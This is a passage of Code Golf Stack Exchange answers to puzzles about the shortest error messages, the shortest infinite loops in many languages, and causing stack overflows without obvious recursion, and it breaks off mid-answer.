bytes ``` IT'S SHOWTIME HEY CHRISTMAS TREE BRBDoorBetterNotBeThosePeskyTeenagePranksters YOU SET US UP 0 GET YOUR ASS TO MARS BRBDoorBetterNotBeThosePeskyTeenagePranksters DO IT NOW I WANT TO ASK YOU A BUNCH OF QUESTIONS AND I WANT TO HAVE THEM ANSWERED IMMEDIATELY YOU HAVE BEEN TERMINATED ``` Pseudocode: ``` start program new variable set to 0 set new variable to output from function call function take input end program ``` [Try it online!](https://tio.run/##lY4xbsMwEAR7vWK7tPkCaZ5DIiEp844RVAoJYQM2REBSk9fLtBvX6RY7i8FOy1xvvz/77uSNwTYO4jx1lkYcbHIsXjEkEUEnbWpddNm2soS66SKXupa@rNc/KWWezqVfpvm6Nrx2Y8xgEmRG7vHefbTcugTFzRfhVeJ/Kk2EE4Q4dA6DCvLQKP58aKGgczhYxCNOmVhcDAwVDF5Tq74JYsm3ngdK1KD3ZJwS@hqfh58TTRQglLwLjZh9vwM "ArnoldC – Try It Online") Generates a "no input" error. (Almost all other errors in ArnoldC include a large piece of boilerplate): 279 bytes (including trailing newline): ``` Exception in thread "main" java.util.NoSuchElementException at java.util.Scanner.throwFor(Scanner.java:862) at java.util.Scanner.next(Scanner.java:1485) at java.util.Scanner.nextInt(Scanner.java:2117) at java.util.Scanner.nextInt(Scanner.java:2076) at code.main(Hello.java) ``` [Answer] # [Perl 5](https://www.perl.org/), 5 bytes ``` die$/ ``` Outputs a newline, for one byte. [Try it online!](https://tio.run/##K0gtyjH9/z8lM1VF//9/AA "Perl 5 – Try It Online") [Answer] # [Perl 5](https://www.perl.org/), 11 bytes Since I'm not clear on whether my [other answer](https://codegolf.stackexchange.com/a/134957/18653) obeys the challenge rules, here's another alternative. ``` #line 0 die ``` Error output: ``` Died. ``` With an ending newline, for 6 bytes. [Try it online!](https://tio.run/##K0gtyjH9/185JzMvVcGAKyUz9f9/AA "Perl 5 – Try It Online") For some reason the Perl interpreter internal function `Perl_mess_sv` contains: ``` if (CopLINE(cop)) Perl_sv_catpvf(aTHX_ sv, " at %s line %" IVdf, OutCopFILE(cop), (IV)CopLINE(cop)); ``` where `CopLINE(cop)` gets the current code context's line number. So if that line number happens to evaluate to zero, Perl skips adding the usual `" at <filename> line <n>"` to the error message. [Answer] # GW-Basic, 9 bytes Enter: ``` ?&H100000 ``` This will yield the following error message: ``` Overflow ``` I believe this is the shortest error message in GW-Basic. The reason I used a hexadecimal constant is that while GW-Basic doesn't support long integers, it does support single and double(!) precision floating point numbers. [Answer] # [Whitespace](https://web.archive.org/web/20150618184706/http://compsoc.dur.ac.uk/whitespace/tutorial.php) (on [TIO](https://tio.run/#)), 34 bytes ``` Nope, it's not valid Whitespace! ``` [Try it online.](https://tio.run/##K8/ILEktLkhMTv3/X4HLL78gVUchs0S9WCEvv0ShLDEnM0UhHK5E8f9/AA) All characters that aren't a space, tab, or newline are ignore in Whitespace. So this program is actually `SNSSS` (where `S` is space, and `N` is newline). The first three (`SNS`) is the command to duplicate the value at the top of the stack. Since the stack is still empty, it gives the error: ``` wspace: user error (Can't do Dup) ``` I tried other errors, but this seems to be the shortest. Most errors where it tries to use a value on the stack which isn't present are similar, but longer. Here is a list of all possible errors (I could find) on TIO (for the first one it requires a character input, which it tries to read and print as number, so I've excluded that one - [Try it online.](https://tio.run/##TYo7CoAwEAXreIocwUPY2IRg0oksqy4Y0BDy0eOvBi3kVW9mrs1lSgEXYh6NrFMN6JI2aKexHiOhK2F3C2aqzArVWGEFDIQrGNv1CjCBL8dMsepP5ujopLc38kE6Op9/KTPe)): ``` wspace: Prelude.read: no parse wspace: user error (Can't do Dup) wspace: user error (Can't do Swap) wspace: Prelude.!!: index too large wspace: user error (Can't do Store) wspace: user error (Can't do Return) wspace: user error (Can't do Discard) wspace: user error (Can't do Slide 0) wspace: user error (Can't do ReadNum) wspace: user error (Can't do Retrieve) wspace: user error (Can't do ReadChar) wspace: <stdin>: hGetChar: end of file wspace: <stdin>: hGetLine: end of file wspace: user error (Can't do OutputNum) wspace: Prelude.chr: bad argument: (-1) wspace: user error (Can't do Infix Plus) wspace: user error (Can't do OutputChar) wspace: user error (Undefined label ( )) wspace: user error (Can't do Infix Minus) wspace: user error (Can't do Infix Times) wspace: user error (Can't do If Zero " ") wspace: user error (Can't do Infix Divide) wspace: user error (Can't do Infix Modulo) wspace: user error (Can't do If Negative " ") wspace: Input.hs:(108,5)-(109,51): Non-exhaustive patterns in function parseNum' wspace: Unrecognised input\nCallStack (from HasCallStack):\n error, called at Input.hs:103:11 in main:Input wspace: Stack space overflow: current size 33624 bytes.\nwspace: Relink with -rtsopts and use `+RTS -Ksize -RTS' to increase it. ``` --- NOTE: Whitespace compilers have their own implementations for error messages. All these errors above are on TIO. If I use the online Whitespace compiler [vii5ard](http://vii5ard.github.io/whitespace/) instead, and use the same program at the top, it will give this error instead: ``` ERROR: Runtime Error: Stack underflow ``` So using the vii5ard online Whitespace compiler I could lower my byte-score to: # [Whitespace](https://web.archive.org/web/20150618184706/http://compsoc.dur.ac.uk/whitespace/tutorial.php) (on [vii5ard](http://vii5ard.github.io/whitespace/)), 15 bytes ``` Unexpected EOF! ``` Which is the 'program' `S` (a single space), resulting in the error: ``` Unexpected EOF ``` (Which would result in [`wspace: Unrecognised input\nCallStack (from HasCallStack):\n error, called at Input.hs:103:11 in main:Input` on TIO](https://tio.run/##K8/ILEktLkhMTv3/PzQvtaIgNbkkNUXB1d9N8f9/AA)). [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), ~~410~~ 411 bytes ``` One plus one is two, two plus two is four. And now, some random character spam just because I can. 3... 2... 1... GO! ooi1u4`o1i2)I#1n[09i43u`1@#~!@#{10239`]ι@(~!)2ioausioe7u12o3iu71p3123`71i2`8127l5ruy;3948'p3298rv9pe8huep'r8i19o`8u'3pie8uiouI!^23uT7T17I3YJH~:L'I`YU2O123;121@ That should be about it, it errored. Guess that's what happens when you spam. Bye for now! upvote if you liked my creativity :) ``` [Try it online!](https://tio.run/##JZDBSsNAEIbveYopPcRCCe5uJYleqheNCL3Ug4iSbTKS1Taz7O60BKHv5Uv4SnVTD/MzM/zzw3zk9cbg6bTqEeyWPVBsjIdwoPko/8uxicsPYpclt30LPR3m4GmH4HTf0g6aTjvdBHTgrd7BJ/sAG2w0e4QKGt1nicqyLJGjiFHuV5MkITKCFzUJI2fVVPSvl6VZKK7FcnqcLKff4lKqsn77/VleHCczaSgGGsKchSRlOBdWCanqPN7XhZD59srxcKPKRZFaJcvC7UuLRcdoU1cYUVJdcKqswYINcTV5l4rX@VrklXp5fDheP6VV/fIsVzH0RkixTJJ1pwP4jnjbxodAb4gDmDCPBegcOWwzuGf0kVK0ph4O40WnrcV@HLCHgfiMJYO7ASNFN/KL3yds9xQi74@zZWu@sIXdAI1DHczehCF6rmen0x8 "05AB1E – Try It Online") ``` One plus one i...]ι... # trimmed program One plus one # push empty string ("") twice i # if top of stack is truthy... ... # execute (trimmed) code (this is unreachable) ] # exit all opened statements ι # not exactly sure what this function does, but part of it forcefully converts top of stack to an integer (without error handling), therefore erroring ... # unreachable code as program has quit from the fatal error ``` # Error, 410 bytes ``` ** (RuntimeError) Could not convert to integer. (osabie) lib/interp/functions.ex:101: Interp.Functions.to_integer!/1 (osabie) lib/interp/commands/special_interp.ex:113: Interp.SpecialInterp.interp_step/3 (osabie) lib/interp/interpreter.ex:127: Interp.Interpretr.interp/3 (osabie) lib/osabie.ex:62: Osabie.CLI.main/1 (elixir) lib/kernel/cli.ex:105: anonymous fn/3 in Kernel.CLI.exec_fun/2 ``` [Answer] # Javascript (Firefox), ~~29~~ 27 bytes ``` new Date('-').toISOString() ``` throws `RangeError: invalid date` which is 24 bytes. Tested on Firefox 54.0.1 on Windows 10. ]
[Question] [ Your task is to create the shortest infinite loop! The point of this challenge is to create an infinite loop producing no output, unlike its possible duplicate. The reason to this is because the code might be shorter if no output is given. ## Rules * Each submission must be a full program. * You must create the shortest infinite loop. * Even if your program runs out of memory eventually, it is still accepted as long as it is running the whole time from the start to when it runs out of memory. Also when it runs out of memory, it should still not print anything to STDERR. * The program must take no input (however, reading from a file is allowed), and should not print anything to STDOUT. Output to a file is also forbidden. * The program must not write anything to STDERR. * Feel free to use a language (or language version) even if it's newer than this challenge. -Note that there must be an interpreter so the submission can be tested. It is allowed (and even encouraged) to write this interpreter yourself for a previously unimplemented language. **:D** * Submissions are scored in bytes, in an appropriate (pre-existing) encoding, usually (but not necessarily) UTF-8. Some languages, like Folders, are a bit tricky to score - if in doubt, please ask on Meta. * This is not about finding the language with the shortest infinite loop program. This is about finding the shortest infinite loop program in every language. Therefore, I will not accept an answer. * If your language of choice is a trivial variant of another (potentially more popular) language which already has an answer (think BASIC or SQL dialects, Unix shells or trivial Brainf\*\*k-derivatives like Alphuck), consider adding a note to the existing answer that the same or a very similar solution is also the shortest in the other language. * There should be a website such as Wikipedia, Esolangs, or GitHub for the language. For example, if the language is CJam, then one could link to the site in the header like `#[CJam](http://sourceforge.net/p/cjam/wiki/Home/), X bytes`. * Standard loopholes are not allowed. (I have taken some of these rules from Martin Büttner's "Hello World" challenge) Please feel free to post in the comments to tell me how this challenge could be improved. ## Catalogue This is a Stack Snippet which generates both an alphabetical catalogue of the used languages, and an overall leaderboard. To make sure your answer shows up, please start it with this Markdown header: ``` # Language name, X bytes ``` Obviously replacing `Language name` and `X bytes` with the proper items. If you want to link to the languages' website, use this template, as posted above: ``` #[Language name](http://link.to/the/language), X bytes ``` Now, finally, here's the snippet: (Try pressing "Full page" for a better view.) ``` var QUESTION_ID=59347;var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe";var COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk";var OVERRIDE_USER=41805;var answers=[],answers_hash,answer_ids,answer_page=1,more_answers=true,comment_page;function answersUrl(index){return"//api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+index+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(index,answers){return"//api.stackexchange.com/2.2/answers/"+answers.join(';')+"/comments?page="+index+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:true,success:function(data){answers.push.apply(answers,data.items);answers_hash=[];answer_ids=[];data.items.forEach(function(a){a.comments=[];var id=+a.share_link.match(/\d+/);answer_ids.push(id);answers_hash[id]=a});if(!data.has_more)more_answers=false;comment_page=1;getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:true,success:function(data){data.items.forEach(function(c){if(c.owner.user_id===OVERRIDE_USER)answers_hash[c.post_id].comments.push(c)});if(data.has_more)getComments();else if(more_answers)getAnswers();else process()}})}getAnswers();var SCORE_REG=/<h\d>\s*([^\n,<]*(?:<(?:[^\n>]*>[^\n<]*<\/[^\n>]*>)[^\n,<]*)*),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/;var OVERRIDE_REG=/^Override\s*header:\s*/i;function getAuthorName(a){return a.owner.display_name}function process(){var valid=[];answers.forEach(function(a){var body=a.body;a.comments.forEach(function(c){if(OVERRIDE_REG.test(c.body))body='<h1>'+c.body.replace(OVERRIDE_REG,'')+'</h1>'});var match=body.match(SCORE_REG);if(match)valid.push({user:getAuthorName(a),size:+match[2],language:match[1],link:a.share_link,});else console.log(body)});valid.sort(function(a,b){var aB=a.size,bB=b.size;return aB-bB});var languages={};var place=1;var lastSize=null;var lastPlace=1;valid.forEach(function(a){if(a.size!=lastSize)lastPlace=place;lastSize=a.size;++place;var answer=jQuery("#answer-template").html();answer=answer.replace("{{PLACE}}",lastPlace+".").replace("{{NAME}}",a.user).replace("{{LANGUAGE}}",a.language).replace("{{SIZE}}",a.size).replace("{{LINK}}",a.link);answer=jQuery(answer);jQuery("#answers").append(answer);var lang=a.language;lang=jQuery('<a>'+lang+'</a>').text();languages[lang]=languages[lang]||{lang:a.language,lang_raw:lang,user:a.user,size:a.size,link:a.link}});var langs=[];for(var lang in languages)if(languages.hasOwnProperty(lang))langs.push(languages[lang]);langs.sort(function(a,b){if(a.lang_raw.toLowerCase()>b.lang_raw.toLowerCase())return 1;if(a.lang_raw.toLowerCase()<b.lang_raw.toLowerCase())return-1;return 0});for(var i=0;i<langs.length;++i){var language=jQuery("#language-template").html();var lang=langs[i];language=language.replace("{{LANGUAGE}}",lang.lang).replace("{{NAME}}",lang.user).replace("{{SIZE}}",lang.size).replace("{{LINK}}",lang.link);language=jQuery(language);jQuery("#languages").append(language)}} ``` ``` body{text-align:left!important}#answer-list{padding:10px;width:500px;float:left}#language-list{padding:10px;padding-right:40px;width:500px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="language-list"> <h2>Shortest Solution by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr> </thead> <tbody id="languages"> </tbody> </table> </div> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr> </thead> <tbody id="answers"> </tbody> </table> </div> <table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> ``` [Answer] # [Befunge](https://esolangs.org/wiki/Befunge), 0 bytes Yup. A Befunge program exists in a two-dimensional *playfield* with fixed size which wraps around the edges. With nothing in that space to interfere, the *program counter* runs in an infinite loop by default :) [Answer] # [L00P](http://esolangs.org/wiki/L00P), 0 bytes This lang was made for looping, and that's just what it'll do... [Answer] # [C64 Machine Code](http://www.commodore.ca/manuals/c64_programmers_reference/c64-programmers_reference_guide-05-basic_to_machine_language.pdf), 2 Bytes ``` D0 FE ``` Branches to itself if the zero flag is not set. Branches are single-byte offsets from the next instruction location, and 254 is -2 in two's complement... the BNE instruction (D0) takes one byte of memory, and the offset takes a second byte, so branching two bytes back branches back to itself. The zero flag is always cleared when code is loaded into memory. Note that this is not a recursive subroutine call, so you will never run out of memory. Also note that there is no header, compiler, or executable overhead... it is truly a two-byte program :) [Answer] # [brainfuck](https://github.com/TryItOnline/brainfuck), 3 bytes ``` +[] ``` [Try it online!](https://tio.run/##SypKzMxLK03O/v9fOzr2/38A "brainfuck – Try It Online") Never decrement: never end. [Answer] # [///](https://esolangs.org/wiki////), 3 bytes ``` /// ``` [Try it online!](https://tio.run/##K85JLM5ILf7/X19f//9/AA "/// – Try It Online") Any bonus points for using the language's name as source code? [Answer] # [Java (JDK)](http://jdk.java.net/), 53 bytes ``` class A{public static void main(String[]a){for(;;);}} ``` [Try it online!](https://tio.run/##y0osS9TNSsn@/z85J7G4WMGxuqA0KSczWaG4JLEESJXlZ6Yo5CZm5mkElxRl5qVHxyZqVqflF2lYW2ta19b@/w8A "Java (JDK) – Try It Online") Yay full program requirement! [Answer] # Prolog, 5 bytes ``` a:-a. ``` In order to know if predicate `a` is true, you only need to check if predicate `a` is true. You need to load the file and execute `a`, both with a command-line arguments, eg. `swipl -g a a.pl` with Swi-Prolog. Note that the recursion is likely to be optimized as an infinite loop and shouldn't blow the stack. Also, this looks like a smiley, but I am not sure how to call it. The dot looks like saliva, so maybe "vegetative state", or "Infiurated programmer with curly hair". Suggestions are welcome. --- Edit: I look at the rules again and for a full program and no command line arguments you need to add this, as user @radrow pointed out, for a total of **10 bytes**. ``` a:-a. :-a. ``` Alternatively, for **14** bytes you can have something more poetic: ``` :-repeat,fail. ``` [Answer] # [Haskell](https://en.wikipedia.org/wiki/Haskell_%28programming_language%29), 9 bytes Infinite recursion of the main function. Should get compiled to a loop due to tail recursion optimization. ``` main=main ``` [Answer] ## Python, 9 bytes Works in both 2 and 3. ``` while 1:0 ``` Shortened by @FryAmTheEggman [Answer] # x86 ELF executable, 45 bytes Unlike the vast majority of these answers, this is a truly complete program, as in a free-standing executable program. ``` 00000000: 7f45 4c46 0100 0000 0000 0000 0000 0100 .ELF............ 00000010: 0200 0300 2000 0100 2000 0100 0400 0000 .... ... ....... 00000020: ebfe 31c0 40cd 8000 3400 2000 01 [[email protected]](/cdn-cgi/l/email-protection). .. ``` The guts of the program are at byte 0x20 `ebfe`, which is featured in another answer as the smallest NASM program. If you assemble that with NASM however, you get an executable with thousands of un-needed bytes. We can get rid of most of them using the technique outlined [here](http://www.muppetlabs.com/%7Ebreadbox/software/tiny/teensy.html). You may note that this program isn't even as big as the ELF header! This bit of executable golfing malforms the ELF header and program header so they can occupy the same bytes in the file and inserts our program into some unused bytes within the header. Linux will still happily read the header and start execution at offset `0x20` where it spins forever. [Answer] # INTERCAL, ~~42~~ 18 bytes ``` (1)DO COME FROM(1) ``` Idea taken from @flawr's comment. **EDIT:** Holy crap, INTERCAL is actually shorter than C#. I don't know if that's ever happened before... ## 42-byte version ``` DO(1)NEXT (1)DO FORGET #1 PLEASE DO(1)NEXT ``` [Answer] # [Perl](https://en.wikipedia.org/wiki/Perl), 6 bytes ``` perl -e '{redo}' ``` From [`perldoc -f redo`](http://perldoc.perl.org/functions/redo.html): > > The redo command restarts the loop block without evaluating the conditional again...Note that a block by itself is semantically identical to a loop that executes once. Thus redo inside such a block will effectively turn it into a looping construct. > > > I don't see `redo` too often in production code, but it's great for golf! Compare the above to the shortest equivalents with `for`, `while`, and `goto`: ``` for(;;){} # 9 bytes 1while 1 # 8 bytes X:goto X # 8 bytes ``` [Answer] ## [><>](http://esolangs.org/wiki/Fish), 1 byte ``` ``` A single space will cause ><> to go into an infinite loop of NOPs Other valid single character programs (with no memory requirements) are as follows: ``` >^v</\|_#x!"'{}r ``` In addition, the rules state that your program can run out of memory in which case we can add the following characters to the list of valid 1-byte programs: ``` 01234567890abcdefli ``` [Answer] # [Motorola MC14500B Machine Code](https://www.brouhaha.com/~eric/retrocomputing/motorola/mc14500b/), ~~0.5~~ 0 bytes ### Explanation According to the manual, the system is configured to have a looping control structure. The program counter counts up to its highest value, wraps back around to zero, and counts up again. [Answer] # [LOLCODE](http://esolangs.org/wiki/LOLCODE), 24 bytes ``` IM IN YR X IM OUTTA YR X ``` [Answer] # C, 15 bytes ``` main(){main();} ``` Yes, it's possible to call `main()` recursively. If you've got a compiler that does tail-call optimization (say, gcc with the `-O2` option), it doesn't even segfault: the compiler is smart enough to turn the function call into a `goto`. [Answer] # [Vim](http://www.vim.org/), 7 keystrokes Open the editor, preferably without any loaded scripts, for instance like like this from the command line: `vim -u NONE` ``` qq@qq@q ``` # Vimscript, ~~15~~ 8 bytes Add it in a script, or run it directly by punching the colon (`:`) key first while you're in normal mode ``` wh1|endw ``` [Answer] # [Labyrinth](https://github.com/mbuettner/labyrinth), 1 byte ``` " ``` A labrinth program executes the same instruction over and over again if there are no neighbors. They also won't end until they execute the `@` instruction. [Answer] # [BASIC](https://en.wikipedia.org/wiki/BASIC) (QBasic 4.5), ~~10~~ ~~5~~ 3 bytes *In the BASIC programming language, RUN is used to start program execution from direct mode, or to start a overlay program from a loader program.* - [Wikipedia](https://en.wikipedia.org/wiki/Run_command) Edit: This works without a line number in QBasic 4.5, according to @steenbergh ``` RUN ``` Here's the first version I posted. Infinite GOTO loop. Also, it's 10 bytes, which is a nice coincidence! ``` 10 GOTO 10 ``` [Answer] # [Retina](https://github.com/mbuettner/retina), 3 bytes ``` +`0 ``` If given a single file, Retina uses a Count stage, replacing the input with the number of matches found for the given regex. Here, the regex is `0`. Now `+` loops the stage for as long as the result changes from the previous iteration. So what exactly is happening? * `0` is matched against the empty input, giving zero matches, so the result is `0`. This is different from the input, so we run this again. * `0` is matched against the previous output `0`, which now gives one match... so the result is `1`. * `0` is matched against the previous output `1`, which fails... so the result is `0`. * ... you get the idea. The result of the loop iteration alternates between `0` and `1`, which a) ensures that the loop never terminates and b) ensures that we're not running out of memory because the string doesn't grow. By default, Retina only outputs once the program terminates, so this doesn't print anything (you can change this behaviour by adding a `>` after the `+`, [which will then print the alternating zeroes and ones](https://tio.run/##K0otycxLNPz/X9suweD/fwA)). As of 1.0, Retina actually also has more traditional while-loops, which you could use with a simpler stage (which doesn't change the string all the time), but they actually require more bytes. One option would be: ``` //+` ``` [Answer] # TIS Node Type T21 Architecture, 6 bytes ![A single node with NOP written in it](https://i.stack.imgur.com/aLamD.png) Tessellated Intelligence System nodes are classified as "processing" or "storage" nodes. Storage nodes simply store and retrieve information, and are irrelevant in this case. Remaining are the processing nodes. Node Type T21, or Basic Execution Node, is the most common and simple (as the name would suggest). Technically, each node can be thought of as an independent computer. In the case of the T21, it is a computer that has two storage registers (one addressable, one not) and an instruction set of 15 commands. It has enough memory to be programmed with up to 15 instructions. All TIS nodes have four ports connecting them to the topologically adjacent nodes. Reading from a port causes that node to hang until the node on the other end writes to it, and writing to a port hangs until that node reads it. You might be able to tell by now that TIS nodes were never meant to do much on their own. Together, though, they can be quite powerful... well, for their time. Because of these limitations, it's very rare to see someone use only a single node. In fact, a program that takes input and provides output based on it *must* use at least three nodes, as TIS systems feed input into the `UP` port of a node on the top row and take output from the `DOWN` port of a node on the bottom row. There are three rows, so data must pass through at least three nodes to get to the bottom. Because of these limitations, TIS nodes are intended to *generally* be used somewhat like this: 1. Get input 2. Do something to it 3. Pass it on 4. Return to step 1 Because of this, the limited space for instructions and the fact that nodes simply wait quietly and don't cause trouble when trying to read input that isn't there, a decision was made in their design that makes them very good for this challenge. I'll quote from the TIS-100's reference manual: > > After executing the last instruction of the program, execution automatically continues to the first instruction. > > > Perfect! Infinite loops are default for TIS nodes. I very nearly answered this question with a 0 byte answer, claiming that an empty node was an infinite loop. However, I researched further. First, the quote above states that the loop occurs *after executing the last instruction*. Additionally, I tested the implementation. Each node reports a "mode" at all times. It isn't accessible programmatically but it's intended to make debugging easier. Here are the possible modes: ``` RUN‌ - I am executing an instruction. READ - I am reading from a port, waiting for it to be written to. WRTE - I am writing to a port, waiting for it to be read from. IDLE - I am doing nothing. ``` It turns out that, since each node is an individual computer, they are capable of determining whether or not they have instructions to execute. If not, they remain in the `IDLE` state (likely to save power). As such, I couldn't in good conscience claim that it was "looping"; rather, each node sat quietly, assuming the others were doing something important. This program that I've submitted is truly an infinite loop, as executing it sets the state of the node to `RUN`. It is as simple as you would expect, `NOP` performs `N`o `OP`eration. Once it's done doing nothing, execution returns to the top of the code: `NOP`. If you find it unsatisfying that I'm abusing the T21 architecture to create a loop, I offer an alternate solution at the cost of 2 bytes: `JRO 0`. `JRO` means `J`ump `R`elative unc`O`nditionally. Or something, I guess. There's no agreed-upon expanded form of the instructions. Anyway, `JRO` takes a numeric argument and jumps execution by that amount relative to the current position. For example, `JRO 2` skips the instruction that follows it (useful if that instruction is jumped to from somewhere else). `JRO 1` jumps forward one instruction, making it a `NOP`. `JRO -1` jumps back one instruction, effectively performing the previous instruction once every two cycles until the program is halted. And, of course, `JRO 0` jumps to itself, executing itself forever. At this point you may be thinking: > > Sure, monorail, this all makes sense, but your answer is simply `NOP`. Why is its score 6 bytes? > > > Good question, thanks for asking. One may naively think that TIS programs should be counted the same way we count programs in multiple files: the number of bytes in all nodes, plus 1 byte for each additional node after the first. However, the TIS golfing community decided this would be unfair for the simple reason that it ignores some of the information required to recreate solutions. A node's neighbours are very important, and that scoring method gives you positional information for free. Instead, we've adopted the format used by the most common TIS emulator, the confusingly-named [TIS-100](http://store.steampowered.com/app/370360/). (Side note: Please don't name emulators after the system they emulate. It's not clever, it's just annoying and makes everyone have to constantly clarify what they're talking about.) It's very simple: The 12 nodes of a TIS-100 device are numbered, left to right and top to bottom, skipping any storage nodes the emulated system has installed. A node numbered `N` containing `# CODE\n# CODE\n CODE` is saved like so: ``` @N # CODE # CODE # CODE ``` And so, a node numbered 0 containing `NOP` is scored according to its representation in this format: ``` @0 NOP ``` Six bytes. As I often include in my answers in visually-interesting languages, you can [watch the TIS-100 emulator execute this program on YouTube](https://www.youtube.com/watch?v=rKceAYqt5Vg). Though, considering what this challenge is, I don't know what you expect to see... [Answer] # Perl, 4 bytes ``` do$0 ``` [Executes itself](http://perldoc.perl.org/functions/do.html) repeatedly. [Answer] # [C#](https://en.wikipedia.org/wiki/C_Sharp_(programming_language)), 38 37 36 bytes ``` class B{static int Main(){for(;;);}} ``` For loop with no stopping condition. The return of main should be an int, but since it'll never reach the end this should compile. (Tested in VS 2015 and 2013, also works in [Ideone](https://ideone.com/HUWzB4)). Thanks [Geobits](https://codegolf.stackexchange.com/users/14215/geobits) and [MichaelS](https://codegolf.stackexchange.com/users/45728/michaels). A shorter version, **35** bytes, can be achieved, but prints `Process is terminated due to StackOverflowException` which I believe violates the third point of not printing anything to stderr. Credit to [MichaelB](https://codegolf.stackexchange.com/users/23300/michael-b) ``` class B{static int Main()=>Main();} ``` [Answer] # Foo, 3 bytes ``` (1) ``` Everyone's favorite programming language! :D [Answer] # [Hexagony](https://esolangs.org/wiki/Hexagony), 1 byte ``` . ``` I don't know much about this awesome language created by @MartinBüttner, but from what I've seen, this should loop infinitely, as there is no `@` to halt the program. `.` is simply a no-op. [Answer] # bash + BSD coreutils, ~~23 22 14 6 5~~ 6 bytes ``` yes>&- ``` `yes` outputs "y" forever; `>&-` closes STDOUT. Thanks @Dennis and @ThisSuitIsBlackNot for help getting the size down! [Answer] ## Pyth, 2 bytes ``` # ``` Pyth expects tokens after the forever operator. (That's a space.) [Answer] # [Gammaplex](http://esolangs.org/wiki/Gammaplex), 0 bytes In Gammaplex, it isn't possible to write a program that isn't an infinite loop. So I just write a program that doesn't use input/output. [Answer] ## Common Lisp, 6 characters ``` (loop) ``` [Answer] # [Fission](http://esolangs.org/wiki/Fission), 1 byte There are exactly 4 one-byte solutions: ``` R ``` ``` L ``` ``` U ``` ``` D ``` These four letters indicate that an atom starts there (in the corresponding direction). One of them is required because without an atom the program terminates immediately. Since the source code is only one character in size, the atom will wrap around immediately, and execute the same cell again. However, after the beginning of the program `UDLR` simply act to deflect an incoming atom in the corresponding direction, so they become no-ops in this case. ]
[Question] [ **Closed**. This question needs to be more [focused](/help/closed-questions). It is not currently accepting answers. Closed 7 years ago. **Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions. As a programmer you certainly know the error of a stack overflow due to an obvious recursion. But there are certainly many weird and unusual ways to get your favourite language to spit that error out. Objectives: 1. Must cause a stack overflow which is clearly visible on the error output. 2. Not allowed to use an obvious recursion. Examples of invalid programs: ``` // Invalid, direct obvious recursion. methodA(){ methodA(); } ``` ``` // Invalid, indirect, but obvious recursion. methodA(){ methodB(); } methodB(){ methodA(); } ``` The most creative ways are the best as this a [popularity-contest](/questions/tagged/popularity-contest "show questions tagged 'popularity-contest'"). I.e, avoid boring obvious answers like this: ``` throw new StackOverflowError(); // Valid, but very boring and downvote-deserving. ``` Even though I accepted an answer now, adding more answers is still okay :) [Answer] ## Python ``` import sys sys.setrecursionlimit(1) ``` This will cause the interpreter to fail immediately: ``` $ cat test.py import sys sys.setrecursionlimit(1) $ python test.py Exception RuntimeError: 'maximum recursion depth exceeded' in <function _remove at 0x10e947b18> ignored Exception RuntimeError: 'maximum recursion depth exceeded' in <function _remove at 0x10e8f6050> ignored $ ``` Instead of using recursion, it just shrinks the stack so it will overflow immediately. [Answer] # Python ``` import webbrowser webbrowser.open("http://stackoverflow.com/") ``` [Answer] ## C / Linux 32bit ``` void g(void *p){ void *a[1]; a[2]=p-5; } void f(){ void *a[1]; g(a[2]); } main(){ f(); return 0; } ``` Works by overwriting the return address, So `g` returns to the point in `main` before calling `f`. Will work for any platform where return addresses are on the stack, but may require tweaks. Of course, writing outside of an array is **undefined behavior**, and you have no guarantee that it will cause a stack overflow rather than, say, paint your mustache blue. Details of platform, compiler and compilation flags may make a big difference. [Answer] ## JavaScript / DOM ``` with (document.body) { addEventListener('DOMSubtreeModified', function() { appendChild(firstChild); }, false); title = 'Kill me!'; } ``` If you want to kill your browser try that out in the console. [Answer] # Java Saw something like this somewhere around here: **Edit:** Found where I saw it: [Joe K's answer to *Shortest program that throws StackOverflow Error*](https://codegolf.stackexchange.com/a/10449/9498) ``` public class A { String val; public String toString() { return val + this; } public static void main(String[] args) { System.out.println(new A()); } } ``` That can confuse some Java beginners. It simply hides the recursive call. `val + this` becomes `val + this.toString()` because `val` is a String. See it run here: <http://ideone.com/Z0sXiD> [Answer] # C Quite easy: ``` int main() { int large[10000000] = {0}; return 0; } ``` [Answer] # Non-recursive stack overflow in C Calling convention mismatch. ``` typedef void __stdcall (* ptr) (int); void __cdecl hello (int x) { } void main () { ptr goodbye = (ptr)&hello; while (1) goodbye(0); } ``` Compile with `gcc -O0`. `__cdecl` functions expect the caller to clean up the stack, and `__stdcall` expects the callee to do it, so by calling through the typecast function pointer, the cleanup is never done -- `main` pushes the parameter onto the stack for each call but nothing pops it and ultimately the stack fills. [Answer] I was frustrated by the fact that java 7 and java 8 are immune to my evil code in [my previous answer](https://codegolf.stackexchange.com/a/21121/3755). So I decided that a patch for that was necessary. Success! I made `printStackTrace()` throw a `StackOverflowError`. `printStackTrace()` is commonly used for debugging and logging and no one reasonably suspects that it could be dangerous. It is not hard to see that this code could be abused to create some 